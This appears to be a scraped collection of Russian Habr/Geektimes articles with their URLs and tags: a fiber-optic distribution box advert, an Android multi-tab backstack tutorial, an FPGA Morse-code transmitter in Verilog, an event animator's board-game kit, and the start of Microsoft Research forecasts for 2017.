Мы постепенно начнем знакомить аудиторию Geektimes с продукцией нашего телеком супермаркета . Сегодня, речь пойдет о новинке, которая будет интересна прежде всего тем кто трудится “в поле”, обеспечивая доступом к сети конечного потребителя. Распределительная коробка SNR-FTTH-FDB-24A на 24 абонентских порта предназначена для размещения оптических коннекторов и оконечивания линейного кабеля патчкордами (пигтейлами). Конструкция бокса предусматривает выведение абонентского кабеля. Коробка может применяться в волоконно-оптических сетях с глубоким проникновением оптики (FTTH, PON и т.п.). Область применения: FTTH PON GPON Телекоммуникационные сети Локальные сети Конструкция коробки позволяет ввести два линейных кабеля для крепления которых используются специальные прижимы. Силовые элементы кабеля крепятся специальными фиксаторами. Корпус коробки изготовлен из специального пластика, устойчивого к воздействию ультрафиолета и позволяющего эксплуатировать бокс в широком диапазоне температур (от -40 °C до +85 °C). Для защиты от вандалов крышка бокса оборудована замком. Уплотнительная прокладка из резины, расположенная по всему периметру оптического кросса между корпусом и крышкой, обеспечивает полную герметичность и защищает кабель от воздействия пыли и влаги. Поэтому SNR-FTTH-FDB-24A — идеальное решение для реализации вводно-распределительных устройств в местах с неблагоприятным воздействием внешней среды, будь то улица или пыльные помещения. Внутри коробки находится откидная панель, которая с одной стороны имеет панель для установки 24-х оптических адаптеров типа SC, а с другой стороны представляет собой большую сплайс-кассету , в которой предусмотрено место для размещения 24 сварных соединений волокон. Таким образом, помимо 24-х соединений для отводов можно размещать еще соединения транзитных волокон. Внутри бокса имеется место для размещения оптических делителей PLC. Бокс крепится на столбы, стены и другую поверхность. Для крепления коробки на столбы можно использовать монтажную ленту, скрепы, металлические пластины или натяжные клещи. Металлические пластины Чуть не забыл упомянуть об еще одной приятной «фиче». Коробку можно без проблем переделать на 16 портов если сменить кассету и планку для ее крепления.
https://geektimes.ru/company/nag/blog/284064/
habrahabr
История в каждой вкладке или multiple backstack
['andoroid', 'tabhost', 'fragment', 'backstack', 'tabactivity', 'activitymanager', 'deprecated']
Проблема С выходом android 3.0 (Api Level 11) в android появились фрагменты, и так уж у разработчиков google получилось, что для них поддерживается только один backstack. Не всегда дизайнеры и...
Проблема С выходом android 3.0 (Api Level 11) в android появились фрагменты, и так уж у разработчиков google получилось, что для них поддерживается только один backstack. Не всегда дизайнеры и заказчики хотят учитывать эту особенность. А иногда просто хотят полную копию уже существующего ios приложения. Допустим нам нужно сделать подобие Tab Bar на android, в том числе с сохранением истории в каждой вкладке. Но у нас один backstack, и что же нам делать? Задача кажется невозможной. Исследование «Если не спросить, никогда не узнаешь. Если знаешь, нужно лишь спросить.» С одной стороны это противоречит официальному guide (смотри Behavior), в котором однозначно написано, что навигация через низ должна сбрасывать состояние. Но кого это волнует, когда речь идёт об удобстве пользователя? Положа руку на сердце вы признаете, что так, как рекомендуется — удобнее? И как же всё-таки сделать, что казалось бы невозможно из-за ограничения платформы? На ум приходят несколько вариантов один сложнее другого, а поиск в google выдаёт и того больше ужасных костыльных решений. Но зачем гадать, если можно подсмотреть как сделано у Instagram? К слову сказать, Instagram так работал не всегда, были времена, когда дизайн Instagram был с вкладками, а история при переключении сбрасывалась. Декомпилируем apk Instagram при помощи apktool и смотрим что там. Главное activity приложения — com.instagram.android.activity.MainTabActivity, смотрим от чего она унаследована, — от класса com/instagram/base/activity/tabactivity/a, который в свою очередь унаследован от android/app/ActivityGroup. Дальше можно не копать. Такие классы, как ActivityGroup , TabActivity , LocalActivityManager — deprecated с 13 Api Level, тоесть почти сразу, как появились фрагменты. На developer.android.com для этих классов написано следующее: This class was deprecated in API level 13. Use the new Fragment and FragmentManager APIs instead; these are also available on older platforms through the Android compatibility package. Все знают, что использовать deprecated в новой разработке нехорошо. Все бросились писать на фрагментах и классы были преданы забвению. Решение? Пожалуй, это единственное рабочее решение. Оно работает «из коробки», никаких костылей (deprecated ведь не считается). Лично я просто забыл про LocalActivityManager, хотя начал разрабатывать под android ещё в те времена, когда телефонов с 8 Api Level было больше, чем остальных, но они активно вытеснялись. Везде настолько упорно утверждают, что фрагменты наше всё, а тенденция разработки single activity application столь непреложна, что те, кто присоединился к разработке на android после 2011, скорее всего просто ничего и не слышали о LocalActivityManager. Это простое решение, глупо им не воспользоваться. В каждой вкладке у нас будет своя activity со своим жизненным циклом, а главное своим backstack'ом! Немного кода Использовать TabHost просто. Если знать, что искать, можно найти много древних туториалов, как им пользоваться. Интернет помнит. Layout для нашего главного activity: <FrameLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <TabHost android:id="@android:id/tabhost" android:layout_width="match_parent" android:layout_height="match_parent" android:layout_above="@+id/bottom_bar" android:layout_below="@+id/top"> <LinearLayout android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical"> <TabWidget android:id="@android:id/tabs" android:layout_width="match_parent" android:layout_height="wrap_content"></TabWidget> <FrameLayout android:id="@android:id/tabcontent" android:layout_width="match_parent" android:layout_height="match_parent"></FrameLayout> </LinearLayout> </TabHost> </FrameLayout> Собственно код: //Можно было бы унаследоваться от TabActivity (который тоже deprecated), //Но зачем нам два deprecated класса, если можно обойтись одним? public class MainActivity extends android.app.ActivityGroup { TabHost mTabHost; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mTabHost = (TabHost)findViewById(android.R.id.tabhost); mTabHost.setup(getLocalActivityManager()); TabHost.TabSpec tabSpec; tabSpec = mTabHost.newTabSpec("tag1"); tabSpec.setIndicator("Вкладка 1");//use getString //TabActivity должна быть в AndroidManifest tabSpec.setContent(new Intent(this, TabActivity.class)); mTabHost.addTab(tabSpec); tabSpec = mTabHost.newTabSpec("tag2"); tabSpec.setIndicator("Вкладка 2");//use getString //TabActivity должна быть в AndroidManifest tabSpec.setContent(new Intent(this, TabActivity.class)); mTabHost.addTab(tabSpec); } } P.S. Очень жаль, что приходится использовать deprecated классы, но пока google не сделает другого решения — это единственный адекватный вариант. Можно построить удобную навигацию с одним backstack'ом, есть другие разумные ограничения платформы, которые необходимо учитывать и которые обоснованны, но в данном случае кажется, что google попросту упустил такую возможность при проектировании Fragment API. Так уж получается, что в этом моменте android оказался уж точно не круче iphone…
https://habrahabr.ru/post/317760/
habrahabr
Отладочная плата ПЛИС — Франкенштейн. Телеграфный передатчик
['ПЛИС', 'FPGA', 'Verilog', 'Altera', 'передатчик']
Бегут последние деньки уходящего года. Предновогодняя суета. А для тех, у кого выдалась свободная минутка на работе, я предлагаю серию статей про самодельную отладочную плату на базе ПЛИС Altera...
Бегут последние деньки уходящего года. Предновогодняя суета. А для тех, у кого выдалась свободная минутка на работе, я предлагаю серию статей про самодельную отладочную плату на базе ПЛИС Altera EPM 7064. Недавно мне потребовалось найти пару 1U корпусов под мой проект. И в качестве альтернативы новым, мы решили поискать старые приборы в 1U формате , внутренности выкинуть, а корпус использовать по назначению. Но, открыв корпус, я был приятно удивлен! Целых четыре ПЛИС от Altera , да к тому же 5 вольтовых. Я не смог удержаться, чтобы одну из них не попробовать в деле! Паяльной станции у меня нет, ЛУТ технологию я не практикую. Поэтому я взял строительный фен на 250 градусов и отковырял микросхему ПЛИС от платы. Переходной платы для такого корпуса у меня тоже не было, поэтому я взял обычную макетку, впаял в нее стойки и с помощью накрутки и пайки, соединил выводы микросхемы со стойками. Вывел разъем JTAG и питания, прикрутил генератор. Это все, что нужно для начала работы с микросхемой Что можно сделать из такой маленькой ПЛИС? Радиолюбители решают такую проблему очень просто: в любой непонятной ситуации мы делаем передатчики! Из чего? Да из чего угодно, что под руку попало в данный момент! А сегодня у нас Altera EPM7064 . Что не так с Altera EPM7064? А с ней все в порядке! Огромным преимуществом этой микросхемы является ее рабочее напряжение, равное 5 вольт. А это значит, что у нас нет проблем с ее питанием, нам не нужно согласовывать уровни, при ее соединении с любой старой ТТЛ логикой: старыми компьютерами, типа ZX Spectrum или логическими схемами на дискретных ТТЛ микросхемах. Еще эта ПЛИС хранит конфигурацию во встроенной энергонезависимой памяти. Внешних микросхем flash памяти не требуется. Однако, объем ее не слишком большой: всего 64 ячейки. Это не так и много. В проекте на ПЛИС Lattice нам удалось собрать часы. Там тоже было 64 ячейки. Интересно, уместится та же HDL схема в ПЛИС того же объема, только от Altera? Делаем передатчик На самом деле, сделать передатчик очень просто! Достаточно взять генератор определенной частоты и соединить его с антенной (про согласование, волновое сопротивление линии связи и резонансную частоту антенны пока говорить не будем). После этого, если у нас есть приемник на эту частоту и модуляцию, мы сможем принять сигнал. На небольших расстояниях, на приемник можно принимать тактовые генераторы даже от обычной платы с микроконтроллером. Если просто включить передатчик-генератор на определенной частоте, то он не будет передавайть какой-то полезной информации. Поэтому, сигнал передатчика нужно как-то модулировать. Есть много видов модуляции. В радиолюбительской практике, самым простым видом связи является «Телеграф» (CW). Телеграф — во многом уникальный вид связи. С одной стороны — его можно считать цифровым видом связи, и даже самым первым цифровым видом связи. С другой стороны, подготовленный человек способен декодировать этот цифровой сигнал на слух. Сейчас для этого существуют программы декодеры. Но человеческое ухо до сих пор считается наиболее точным инструментом для приема. Еще телеграф — один из самых «дальнобойных» видов связи. За счет передачи на одной частоте и низкой скорости передачи, вся энергия сигнала сосредотачивается на одной частоте, это положительно сказывается на дальности передачи. Для приема могут быть использованы узкополосные фильтры. Телеграфный сигнал состоит из точек и тире. Каждый символ телеграфного алфавита — это комбинация точек и тире. Наиболее часто применяемые буквы состоят из мЕньшего количества элементов. Точки и тире — это факты включения передатчика. В промежутках между точками и тире, передатчик выключается, сигнал в эфир не передается. Существуют правила, по которым тире должна иметь длительность, равную трем точкам. Промежуток между точками или тире в одном символе, должен равняться длительности одной точки. Промежуток между буквами в одном слове должен равняться трем точкам. А между словами должна быть пауза не менее семи точек. Если мы подключим к выводу ПЛИС провод небольшой длины (в качестве антенны) и подадим на этот вывод сигнал тактового генератора, то мы сможем принимать этот сигнал, как немодулированную несущую частоту. Разрешая и запрещая вывод сигнала на антенну, мы будем модулировать несущую. А формируя правильные временные интервалы для точек и тире, мы сформируем телеграфный радиосигнал. Формирование телеграфного сигнала Для формирования временных интервалов в долях секунды, нам нужно поделить сигнал тактового генератора. В моем случае, частота тактового генератора равна 25175000 Гц. Я решил взять 23 битный двоичный счетчик. Частота, полученная в результате будет равна: счетчик 2^22 = 4194304 тактовая частота 25175000 Гц итоговая частота 25175000 / 4194304 = 6 Гц Вполне достаточно для формирования интервала в одну точку. Теперь попробуем сформировать что-то очень простое. Например, сигнал SOS: три точки, три тире, три точки. Нарисуем временную диаграмму: Из нее видим, что нам требуется 30 шагов. Это 5 бит. То есть к 22 битам счетчика мы сверху добавляем еще 5 бит. И у нас получается 27 бит. Теперь логика очень простая (т.к. сложную логику мы не сможем поместить в такую маленькую ПЛИС): когда значение счетчика равно 0, 2, 4, 8, 9, 10 (и далее по диаграмме) мы выдаем единицу, иначе — ноль. Этот сигнал (CW) уже можно вывести из ПЛИС и проконтролировать его, допустим, светодиодом. А чтобы модулировать радиосигнал, мы будем выводить сигнал тактового генератора на вывод только если значение сигнала CW равно единице. module epm7064_test(clk, out_lf, out_rf); input wire clk; output wire out_lf; output wire out_rf; reg [27:0] cnt; initial cnt <= 28'd0; always @(posedge clk) cnt <= cnt + 1'b1; wire [4:0] hi_bits = cnt[26:26-4]; // 5 бит старших бит счетчика для формирования символов wire cw = (hi_bits == 5'd0) || (hi_bits == 5'd2) || (hi_bits == 5'd4) || (hi_bits == 5'd8) || (hi_bits == 5'd9) || (hi_bits == 5'd10) || (hi_bits == 5'd12) || (hi_bits == 5'd13) || (hi_bits == 5'd14) || (hi_bits == 5'd16) || (hi_bits == 5'd17) || (hi_bits == 5'd18) || (hi_bits == 5'd22) || (hi_bits == 5'd24) || (hi_bits == 5'd26); assign out_lf = cw; assign out_rf = cw & clk; endmodule Вот и все, пора включить приемник Принимаем сигнал нашего передатчика К сожалению, нам не подойдет вещательный приемник для нашего передатчика. Во-первых из за диапазонов частот — такой частоты просто может и не быть в вещательном приемнике. Во-вторых из за вида модуляции. Вещательный приемник будет принимать в амплитудной модуляции (АМ), поэтому, когда сигнала телеграфа не будет, то приемник будет принимать эфирный шум, а когда будет несущая, с приемнике будет тишина (т.к. несущая никак не модулирована по амплитуде). В итоге, АМ приемник будет издавать шум, прерывающийся тишиной на моменты точек и тире. Какой нужен приемник? Для приема телеграфа нужен однополосный приемник . Буду честен, выбирая частоту я немного схитрил. У меня есть USB приемник, нижняя граница приема у которого 24 МГц, поэтому и частоту генератора я выбирал с учетом того, чтобы сигнал можно было принять на этот приемник. Такой приемник можно купить на ebay/aliexpress примерно за 500 рублей. Искать по словам R820T2. В качестве программы для приема я использую SDRSharp. Модифицируем передатчик для приема на АМ приемник Немного подумав, я вспомнил, что у меня есть средневолновый приемник. Частота приема 530 — 1600 КГц. Модуляция — амплитудная. Чаще всего, приемник на этот диапазон есть практически в каждой автомагнитоле. А мы собрали с сыном такой приемник из конструктора . Для того, чтобы получить несущую частоту в диапазоне частот этого приемника, нам нужно поделить частоту тактового генератора. Если мы будем брать отдельные биты из нашего счетчика, то мы как раз и получим значения тактового генератора, поделенные на степень двойки. К примеру 4-й бит — это будет деление на 16 и результат — 1573 КГц, я выбрал 5-й бит и частоту 786 КГц (т.к. китайский переменный конденсатор оказался слегка бракованным, и не перекрывает весь диапазон частот). Теперь нам нужно произвести амплитудную модуляцию сигнала. Нам проще — у нас телеграфный сигнал, поэтому нам достаточно прерывать несущую частоту со звуковой частотой. Получится 100% модуляция. Для приема на АМ-приемник (для работы амплитудного детектора в приемнике) этого будет достаточно. Выберем подходящий бит из счетчика-делителя частоты. Это 14-й бит, что равнозначно делению на 16384. В итоге получится частота — 1536 Гц. Эта частота находится в слышимом человеком диапазоне, и в диапазоне частот, которые способен вывести АМ приемник. Код на Verilog нужно немного подправить: wire audio = cnt[13]; // 14й бит - 1536 Гц - тон звуковой частоты wire rf = cnt[ 4]; // 5й бит - ~786 RГц - радиочастота assign out_rf = cw & rf & audio; И у нас получилась амплитундая телеграфия. Заключение Для проекта использовались: ПЛИС Altera EPM7064, Quartus II 11.1, китайский программатор. Количество занятых ячеек — 30 из 64-х. А это значит, что можно усложнить проект для передачи более длинных текстов. → GitHub Пожалуйста, не переживайте за Франкенштейна, очень скоро я отдам ПЛИС своему другу, а он сделает для нее достойную печатную плату . Продолжение приключений Френки ждите уже завтра с утра!
https://habrahabr.ru/post/316234/
habrahabr
«Аварийный» чемодан аниматора
['аварийный чемодан', 'игры']
Сейчас идут корпоративы, где мы работаем. На них часто случается какой-нибудь косяк: то людей окажется больше, чем планировалось, то свет отключат, то — самое драматичное — алкоголь не подвезут...
Сейчас идут корпоративы, где мы работаем. На них часто случается какой-нибудь косяк: то людей окажется больше, чем планировалось, то свет отключат, то — самое драматичное — алкоголь не подвезут вовремя. Или наоборот, звукари нажрутся и запрутся у себя в комнатке. Поэтому аниматоры возят с собой «аварийные» чемоданы — штуки, где очень компактно уложены игры, которые могут выручить в любой компании в любой ситуации. Плюс знают кучу развлекалок, в которые можно играть просто так, без всего. Я собирал нечто похожее, но куда, куда компактнее, когда собирался в Гренландию. Ну и, собственно, сейчас покажу, как мы используем настольные игры покомпонентно, без, собственно игры. В конце есть минимальный набор картинок с играми для того, чтобы сохранить на телефон для вас. Поэтому пост носит оттенок подготовки к новому году. Итак, первая основа хорошей компрессии — многие вещи требуют одинакового набора генераторов случайных чисел и таймеров. Значит, можно обойтись, например, одним кубиком d20 и одними песочными часами. Или вообще телефоном, если нужно добиться сжатия с потерями. Обычный набор В Москве Сергей Мелимук, наш главный корпоративщик (парень из телевизора, который несколько лет вёл «Крокодил» на МУЗ-ТВ) использует вот такой здоровенный чемодан: Вот что в него можно уложить с одной стороны: Тут, как видите, выбирается 1-2 большие коробки игр до 10 человек. С другой стороны укладывается то, что для компаний больше, например, так: То есть сторона А — для основного дела, сторона Б — для ситуации, когда что-то пошло не по плану. Сторона А может заполняться и другими вещами — туда лезет форма аниматора, призы, всякие мелкие штуки для турниров. Например, на выезд на большой турнир по Крокодилу. Тут надо сказать, что задача компрессии у него и московской команды не стоит. Задача — не продолбать реквизит, не забыть ничего важного и не поломать что-то по дороге. Поэтому выбран чемодан с жёсткими стенками, который можно трясти и бить. Его же очень тяжело слямзить (что регулярно пробуют сделать слегка пригашенные участники дорогих мероприятий) — слишком яркий и заметный. Собирается заранее, содержит прекэшированную сторону Б. Собственно, именно там всё самое интересное. Сторона Б — аварийный набор Начинаем компрессию. Первое правило аниматора — «К чёрту правила». Это исполняется и образно, и буквально. Открыл коробку — спрятал правила в крышку. Потом крышку нацепил на дно снизу, чтобы получилась одна деталь — иначе к концу игротеки крышку будет просто не найти. Соответственно, для чемодана мы избавляемся от всех правил и всех коробок. Дальше поле. Парадоксальная вещь — коробка чаще всего имеет размер от трёх факторов: Под игровое поле И достаточно большой, чтобы людям не казалось, что они покупают что-то мелкое за 1000-1500 рублей. Плюс люди привыкли что подарки имеют определённый крупный размер. В результате закономерной эволюции все маленькие коробки вымерли. Либо приспособились — отрастили игровое поле, в размер которого коробка и делается. Путём минимальных сдвигов в игровой механике, почти любую компанейскую игру с полем можно преобразовать в игру без поля. Да, люди любят двигать фишки и смотреть на красивую штуку на столе, но, по большому счёту, она не нужна. Поскольку игромеханически поле чаще всего выступает в роли сложного счётчика, мы можем: Просто считать очки на бумажке (но это не круто) — или доске Использовать двадцатигранные кубики как счётчики, устанавливая их нужной гранью (есть даже специальные spindown-модели, где случайность уменьшена, зато числа следуют по спирали, поэтому кубиком очень и очень удобно считать). Или же, если игра позволяет — накапливать какие-то предметы у игроков — например, давать им карты из викторин с вопросами, на которые они ответили правильно. В конце игры эти карты просто считаются. Поэтому поля тоже сразу нахрен. И всё остальное, что с ними связано. Остаётся, собственно, самая суть игры. Вот что получается, например: Играть в Активити только с картами — да как нефиг делать. Поле нужно только для механики «что будет, если моя фишка наступит на чужую фишку», визуального наблюдения за прогрессом и генерации случайных чисел. Последнее (какое задание тянуть) заменяет другой генератор — D6, то есть наш кубик. Набор с предельной компрессией Вот это я собирался в дорогу как-то. Две белые колоды сверху — это куски игры «Минуточку». Там надо идти по полю и выполнять странные задания, либо отвечать на вопросы викторины. Самая интересная часть — дуэли. Это мини-игры вроде армреслинга, жмурок и прочих штук на 30-50 секунд на двоих. Первая колода — дуэли минуточки. Их можно тянуть как фанты в нужной ситуации. Вторая колода — викторина Минуточки: на каждой карточке по два вопроса — один с вариантами ответа, второй свободный. На них же жирным дан правильный ответ — один игрок зачитывает, остальные отвечают: Всё, уже одна игра готова — можно просто резаться в викторину хоть в маршрутке. Собственно, мы так один раз и делали, пока ехали на «Нейрономикон» из Москвы в Тульскую область. Можно ещё заранее отобрать самые упоротые вопросы — «Какая гора была самой высокой до открытия Эвереста? — Эверест!». Дальше карты с жёлтой окантовкой — это базовые карточки игры «Держи пари». Там зелёное сукно, куча компонентов, стирающиеся дощечки, фишки — в общем, викторина, больше похожая по богатству на целое казино. Собственно, потому и очень популярная в США — она там очень попала в культурный код. На каждой карточке вопросы, где ответ — конкретное число ( Сколько у кошки пальцев? ; Какой в среднем интервал между кражами в России (в минутах) на 2012 год? ). В оригинале надо записывать ответ на маленькой стирающейся планшетке, потом делать ставки на другие ответы — и тогда уже сравнивать, кто попал ближе. В дороге — просто писать на бумаге и сравнивать, кто попал лучше — минус половина механики ставок. Если хотите развлечься — вот ещё целый пост с вопросами из этой штуки. Потом колода из «Ерша» . Это задания, которые в оригинале надо выполнять или пить. Да, можно просто играть в Ерша без алкоголя (это очень, очень жестоко), но мы делаем чуть иначе. В наборах аниматоров эта штука нужна как сложные отрывные фанты, и это встраивается как штраф в другие механики. Викторина — ответил на вопрос, пошёл дальше, не ответил — делай задание из вот этой колоды. А задания от простых вроде «повернуться вокруг своей оси 10 раз за 2 минуты» до «Отправьте SMS «У меня две полоски, что делать?» на номер, которые называют другие игроки». Одно из самых ярких развлечений новогодних корпоративов — это играть в «Не раскачивай лодку» (игру с кучей пингвинов, которых надо ставить на очень неустойчивую палубу корабля) на задания Ерша. Уронил пингвинов — делай. Он же хорошо сочетается с деревянными башнями по тому же принципу. Затем моя любовь — колода «Бума» . «Бум», он же «Бумажки», он же «Шляпа», он же «Шапка» — это самая крутая игра на компанию, где люди умеют думать. Именно по этой причине он идёт за другими играми на слова в списке хитов. Точнее — потому, что в него нельзя играть наподшофе. Даже слегка. А этот фактор — водораздел в компанейских играх. В игре надо объяснять 40 персонажей словами, потом во втором раунде тех же — только жестами (это просто, потому что список уже запомнился в первом раунде), а потом вообще одним словом. Кроме колоды ничего не нужно — карты тут как средство сокрытия информации. Можно играть и без неё — вот я писал на прошлый новый год, как — и там же есть вполне играбельный список учёных, чтобы поиграть дома на праздниках. Дальше — белые карточки . Это наш стандартный инструмент прототипирования. Обязательно ещё карандаш к ним, маленький, или ручку. У меня в дорожной сумке всегда есть пара для заполнения анкет на границе, поэтому в набор они не входят. Карточки нужны для того, чтобы быстро сделать игру на месте. Как разработчики, это мы умеем — собрать подходящую механику под компанию. На них же можно просто писать, часто это важнее — иметь 100 бумажек с одинаковой рубашкой. Последнее — коробка данеток в компактном издании (в таком виде их нельзя купить, но зато есть много обычных наборов). Если я хочу занять компанию, но не играть сам — просто даю им коробку в руки и ухожу. Часа на два — наглушняк. Их же хорошо играть в машине, даже с водителем. На следующий день игроки обычно начинают читать не суперзаковыристые истории из этого набора, а приносить свои данетки — получается очень круто. Что не вошло — Эволюция , её я беру, когда планируется маленькая компания. Там всего две колоды как тут по размеру. Очень крутая штука для дороги из-за реиграбельности, и подходит для детей. Только объяснять сложно. Дальше фишки и кубики . Фишки — они одинаковые во всех играх. Половину из них мы порезали вместе с полем. Оставшиеся выполняют роль счётчиков, и сильное разнообразие не нужно. Но я обычно беру несколько так называемых «каунтеров» — простых одинаковых фишек — с собой. Крашеные деревянные кубики подошли бы больше, но эти штуки прозрачные, то есть позволяют видеть, что под ними. Поэтому я вожу их. Таймер — тут всё просто, одни песочные часы родом из Поднебесной. У меня в наборе для разработки их целый отсек, достать не проблема. У вас, скорее всего, их не будет — либо будут слишком долгие, крупные и страшные из аптеки. Нужны 30-секундные. Вместо них отлично справляется таймер на телефоне, хотя таймер на телефоне — это последнее, что бы я хотел видеть в настольной игре, например, на качающейся солнечной палубе. Очень выбивает из атмосферы. Из набора из-за таймера выпадает одна из лучших компанейских штук, которая подходит просто всегда — «Ответь за 5 секунд». Но там сложный таймер со спиральным спуском шариков и крутым булькающим звуком: В теории, вместо этого можно считать на пальцах, но в Гренландию я его не взял — фиговина слишком длинная. Итого — вот набор для компании. Бум для ситуаций, когда народу нереально много, Ёрш — фанты или большие компании, «Минуточка» и «Держи пари» — просто играть в викторины с разной сложностью. Если есть ещё место, беру вот такие штуки: Тут наборы «Дорожные игры», «Домашние игры» и «Дворовые игры» — это карточки с правилами разных игр от царской Руси через СССР до наших дней. Всё, что нужно аниматору, чтобы занять любую компанию. Поскольку половину этих игр я и так помню, наборы берутся только для ситуаций, когда мне будет кто-то помогать, чтобы давать карточку ему. Хотя детский один раз выручил, когда на чужом мероприятии из-за поломки автобуса надо было развлечь на 60 минут 35 детей. Это было ужасно. Сверху жёлтая фигня — это карточки из «Ложь, путешествия, борода» по шоу «Пятницы». Там факт про путешествие и ответ, так это или нет. Очень, зараза, крупные — там на обратной стороне нарисована борода, чтобы делать с ней селфи. Внутри города возить можно, дальше — нет. Красная коробочка — «Компарити СССР», игра про сравнение цен на старые советские товары. Своего рода сортировка пузырьком: надо выкладывать карточки в ряд, стараясь попасть туда, где этот товар лежит по цене. Не поверил — можно вскрыть две соседние карты и посмотреть цены. Вскрывали зря — тяни фант из Ерша… Есть такая же Компарити про года выходов фильмов и всякие штуки под другим названием, но той же механикой про размеры-возраст зверей. Мне нравится именно СССР-версия, потому что настраивает на определённый лад — с каждым предметом связана куча историй, а в дороге это самое то. Дорожный «Крокодил» не беру, его заменяет колода «Бума» с лихвой. Но судя по спросу в этом году, вещь получилась очень удачная. Ещё в дорогу можно зацепить «7 на 9», Улей (у него даже сумка для компактизации есть), очень крутых, но сложных «Агентов» и «Головоногов» для детей. Ну и дальше — обычные компактные издания, у нас подборка вот тут . Заглянул в чемодан Сергея Мелимука, он на следующий корпоратив в аварийной части везёт Ударник, Ерундопель, Пятницу вместе с наголовниками (это «Бесславные ублюдки», я их делаю из пустых карточек), ту же самую «Ложь-путешествия-борода», карты мафии, большие данетки, колоду имаджинариума без поля, крокодил дорожный, Тик-так-бум без коробки (только бомбочка и карточки), колоду и таймер «Ответь за 5 секунд». Если надумаете покупать — учтите, что насобирать таких компонентов стоит тысяч 15 рублей, поэтому я бы остановился на Буме, Ерше и какой-нибудь из викторин. Если берёте Минуточку именно для дороги — Ёрш не нужен, там есть свои задания, но не такие отрывные. Чтобы вы не ушли из поста с пустыми руками, научу вас пяти простым играм Вот 5 из 33 карточек набора «Дорожные игры». Нас тут интересуют те, которые пойдут на даче, дома и так далее: Ещё на телефон стоит забрать вот эти картинки, они пригодятся для игры в машине, например: Да, он был тот ещё старый тролль Вот так. Итак, ещё раз: можно взять самое вкусное из разных игр и пересечь механики. Например, делать задания штрафами за неответы на вопросы или разрушение деревянной башни, использовать карточки разных игр в других (например, колоду Бума для игры с бумажками на лбу) и так далее. Большая часть вечериночных игр использует схожие механики, поэтому и компонентная база одна и та же.
https://habrahabr.ru/company/mosigra/blog/318428/
habrahabr
17 прогнозов на 2017 год: исследователи корпорации Microsoft — о том, чего ожидать в 2017 году и через десять лет
['microsoft', 'microsoft research', 'прогнозы', '2017', 'будущее', 'обработка речи', 'машинное обучение', 'machine learning', 'поиск информации', 'биологические вычисления', 'биологические исследования', 'виртуальная реальность', 'дополненная реальность', 'VR', 'AR', 'AI', 'смешанная реальность', 'общественные науки', 'искусственный интеллект', 'нейронные сети', 'экономика игр', 'теория игр', 'математика', 'шифрование', 'программное обеспечение', 'языки программирования', 'антропоцентрические вычисления', 'безопасность', 'конфиденциальность', 'мобильные устройства', 'экология', 'охрана окружающей среды', 'компьютерное зрение']
Мы решили пофантазировать и заглянуть в будущее на 1 год, на 10 и на 69 лет вперед. Под катом вы найдете 17 прогнозов от женщин-исследователей из подразделения Microsoft Research на 2017 и на 2027...
Мы решили пофантазировать и заглянуть в будущее на 1 год, на 10 и на 69 лет вперед. Под катом вы найдете 17 прогнозов от женщин-исследователей из подразделения Microsoft Research на 2017 и на 2027 годы, а также поздравительную открытку, которая перенесёт вас в 2086 год. Калика Бали , исследователь, исследовательская лаборатория в Индии Какие важнейшие усовершенствования в области обработки речи и естественного языка стоит ожидать в 2017 году? В 2017 году наши приложения, связанные с языками и речью, станут более многоязычными. Но это означает не только расширение списка языков, поддерживаемых системой. Само собой, мы добавим новые языки. Однако кроме этого мы создадим системы, способные понимать, обрабатывать и использовать язык, который является связующим звеном между двумя языками у билингвов (например, людей, владеющих английским и испанским, французским и арабским, хинди и английским), когда в ходе разговора, а порой и в ходе одного предложения, они без усилий переходят с одного языка на другой. Какими будут основные достижения или наиболее обсуждаемые технологии в области обработки речи и естественного языка в 2027 году? Модели языков будут глубоко внедрены в когнитивные модели, которые дадут возможность системам искусственного интеллекта (ИИ) обосновывать свои решения и без особых усилий общаться с людьми, приспосабливаться к различным общественным ситуациям, вести переговоры, спорить и убеждать, как это делают люди. Вычислительная социолингвистика и прагматические модели будут играть важную роль в создании ИИ с учетом социокультурных факторов. Дженнифер Чейс , ученый, управляющий директор, исследовательские лаборатории в Новой Англии и Нью-Йорке Какие важнейшие усовершенствования в области машинного обучения стоит ожидать в 2017 году? Глубокое обучение преобразует множество технологий. Однако большая часть существующих алгоритмов остаются эвристическими, они опираются на опыт и интуицию руководителей. В 2017 году мы придем к более структурированному пониманию глубокого обучения и, следовательно, сможем разработать более мощные алгоритмы. Эта область развивается благодаря наработкам в самых разных дисциплинах, в том числе статистической физики и компьютерных наук. Какими будут основные достижения или наиболее обсуждаемые технологии в области алгоритмов машинного обучения в 2027 году? Системы искусственного интеллекта и машинного обучения значительно облегчат нашу жизнь. Существующие сейчас алгоритмы зачастую оказываются необъективными в отношении данных, ими можно манипулировать, вводя заведомо неверную информацию. Одним из важнейших усовершенствований за следующие десять лет будет развитие объективных алгоритмов, устойчивых к попыткам манипуляции данными. Сьюзан Дюмэ , ученый и заместитель директора, исследовательская лаборатория в Редмонде, Вашингтон, США Какие важнейшие усовершенствования в области поиска и получения информации стоит ожидать в 2017 году? В области поиска и получения информации будут в полной мере задействованы возможности глубокого обучения. В течение нескольких последних лет мы были свидетелями прорывов в области распознавания речи, распознавания изображений и обработки естественных языков. Эти новые возможности обусловлены появлением новых архитектур глубокого обучения в сочетании с увеличением объема данных и повышением вычислительной мощности. В следующем году модели глубокого обучения повысят качество поиска в Интернете, с помощью машины научатся лучше понимать документы и формулировать запросы. Какими будут основные достижения или наиболее обсуждаемые технологии в области поиска и получения информации в 2027 году? Привычное нам поле поиска исчезнет. Вместо него появится повсеместная встроенная функциональность контекстно-зависимого поиска. Началом такого преобразования можно считать речевые запросы, особенно при использовании мобильных устройств и систем «умного дома». Эта тенденция будет развиваться, появится возможность выдавать поисковые запросы, состоящие из звука, изображений и видео, с использованием контекста для заблаговременного получения информации, связанной с текущим расположением, материалами, объектами или действиями без отправки запросов явным образом. Сара Джейн Данн , ученый, исследовательская лаборатория в Кембридже, Великобритания Какие важнейшие усовершенствования в области биологических вычислений стоит ожидать в 2017 году? Несмотря на широкое использование компьютерных и технических аналогий для «объяснения» биологии, вычисления, производящиеся клетками, осуществляются совсем не так, как вычисления в микропроцессорах. В краткосрочной перспективе важным достижением станет теоретическое обоснование для понимания обработки биологической информации: это очень важно, поскольку наша цель — моделировать, менять и перепрограммировать поведение клеток. Какими будут основные достижения или наиболее обсуждаемые технологии в области 